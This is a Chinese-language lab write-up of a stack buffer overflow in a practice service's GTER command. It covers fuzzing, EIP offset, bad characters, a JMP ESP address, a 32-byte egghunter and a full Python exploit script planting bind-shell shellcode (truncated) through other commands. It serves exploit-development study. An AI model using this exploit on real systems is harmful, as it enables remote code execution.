利用Egghunter对缓冲区空间的GTER命令进行利用
字数 1222 2025-08-25 22:58:46
利用Egghunter技术对GTER命令缓冲区溢出漏洞的利用分析
漏洞概述
本文详细分析了一个针对GTER命令的缓冲区溢出漏洞利用过程,由于可用缓冲区空间有限,采用了Egghunter技术来成功执行shellcode。该漏洞存在于一个运行在9999端口的服务中,当发送超长GTER命令时会导致程序崩溃。
漏洞发现与初步分析
模糊测试
使用SPIKE模糊测试工具对GTER命令进行测试,发现当发送约5000字节的数据时,应用程序崩溃:
buffer = "A"*5000
s.send("GTER /.:/" + buffer)
崩溃分析
崩溃时观察到:
- EAX寄存器存储了命令(GTER)和模糊字符串(/.:/ AAAAA...)
- ESP和EIP被覆盖
- ESP仅被20字节的A覆盖
偏移量确定
使用Mona生成5000字节的唯一模式字符串来确定精确偏移:
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9..." # 截断
发现EIP被41396541覆盖,使用!mona findmsp确定偏移量为147字节。
验证偏移量:
buffer = "A"*147 + "BBBB" + "C"*(5000-147-4)
确认EIP被4个B成功覆盖,ESP被20字节的C覆盖。
坏字符分析
由于缓冲区空间有限(仅171字节),将坏字符测试分为两部分:
- 测试\x01到\x9F:
buffer = ("\x01\x02\x03...\x9f") + "C"*(5000-len(buffer))
- 测试\xA0到\xFF:
buffer = ("\xa0\xa1\xa2...\xff") + "C"*(5000-len(buffer))
结果发现唯一坏字符是\x00。
控制执行流
使用Mona查找JMP ESP指令:
!mona jmp -r esp -m "essfunc.dll"
找到可用地址0x625011AF(小端格式:\xAF\x11\x50\x62)
修改利用代码:
buffer = "A"*147 + "\xAF\x11\x50\x62" + "C"*(5000-147-4)
解决空间限制问题
观察到:
- A缓冲区起始地址:0x00B7F975
- C缓冲区起始地址:0x00B7FA0C
- 差异:-151字节(0xFFFFFF69)
添加向后跳转指令到达A缓冲区:
buffer = "A"*147 + "\xAF\x11\x50\x62" + "\xe9\x64\xff\xff\xff" + "C"*(5000-147-4-5)
Egghunter实现
使用Mona生成Egghunter:
!mona egg -t Capt -cpb "\x00"
生成的32字节Egghunter:
egghunter = (
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x43\x61\x70\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
)
修改利用代码:
buffer = egghunter + "A"*(147-len(egghunter)) + "\xAF\x11\x50\x62" + "\xe9\x64\xff\xff\xff" + "C"*(5000-len(buffer))
Shellcode放置
由于GTER命令缓冲区空间不足,利用其他命令存储shellcode:
# 生成bind shell shellcode (355字节)
shellcode = ("\xdb\xd8\xd9\x74\x24\xf4\x5a\x29\xc9\xbf\xd1\x60\x90\xf9\xb1"
"\x53\x83\xea\xfc\x31\x7a\x13\x03\xab\x73\x72\x0c\xb7\x9c\xf0"
"...") # 截断
# 通过其他命令发送shellcode
for command in ["STATS ", "RTIME ", "LTIME ", "SRUN ", "TRUN ", "GMON ", "GDOG ", "HTER ", "LTER ", "KSTAN "]:
s.send(command + "CaptCapt" + shellcode)
完整利用代码
import socket
host = "192.168.1.129"
port = 9999
# 32字节Egghunter (tag: Capt)
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x43\x61\x70\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
# 355字节bind shell shellcode
shellcode = ("\xdb\xd8\xd9\x74\x24\xf4\x5a\x29\xc9\xbf\xd1\x60\x90\xf9\xb1"
"\x53\x83\xea\xfc\x31\x7a\x13\x03\xab\x73\x72\x0c\xb7\x9c\xf0"
"...") # 截断
# 构造GTER利用
buffer = egghunter
buffer += "A"*(147-len(egghunter))
buffer += "\xAF\x11\x50\x62" # JMP ESP 625011AF
buffer += "\xe9\x64\xff\xff\xff" # JMP -151字节
buffer += "C"*(5000-len(buffer))
# 通过其他命令发送shellcode
for command in ["STATS ", "RTIME ", "LTIME ", "SRUN ", "TRUN ", "GMON ", "GDOG ", "HTER ", "LTER ", "KSTAN "]:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.recv(1024)
s.send(command + "CaptCapt" + shellcode)
s.recv(1024)
s.close()
# 发送利用代码
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.recv(1024)
s.send("GTER /.:/" + buffer)
s.recv(1024)
s.close()
利用流程总结
- 通过其他命令将带有"CaptCapt"标记的shellcode发送到服务内存中
- 发送精心构造的GTER命令:
- 前147字节包含Egghunter和填充
- 覆盖EIP为JMP ESP指令(0x625011AF)
- ESP处放置跳回A缓冲区的指令(JMP -151)
- Egghunter在内存中搜索"CaptCapt"标记并执行后面的shellcode
- 成功后在目标机4444端口打开bind shell
关键点总结
- 偏移量确定:147字节后覆盖EIP
- 坏字符:仅
\x00是坏字符 - 空间限制解决方案:
- 使用Egghunter技术
- 利用其他命令存储shellcode
- 执行流控制:
- JMP ESP (0x625011AF)
- 跳回A缓冲区(JMP -151)
- Egghunter:32字节,标记为"Capt"
- Shellcode存储:通过STATS等命令发送
这种技术特别适用于缓冲区空间有限的情况,通过Egghunter可以在更大内存区域中定位和执行shellcode。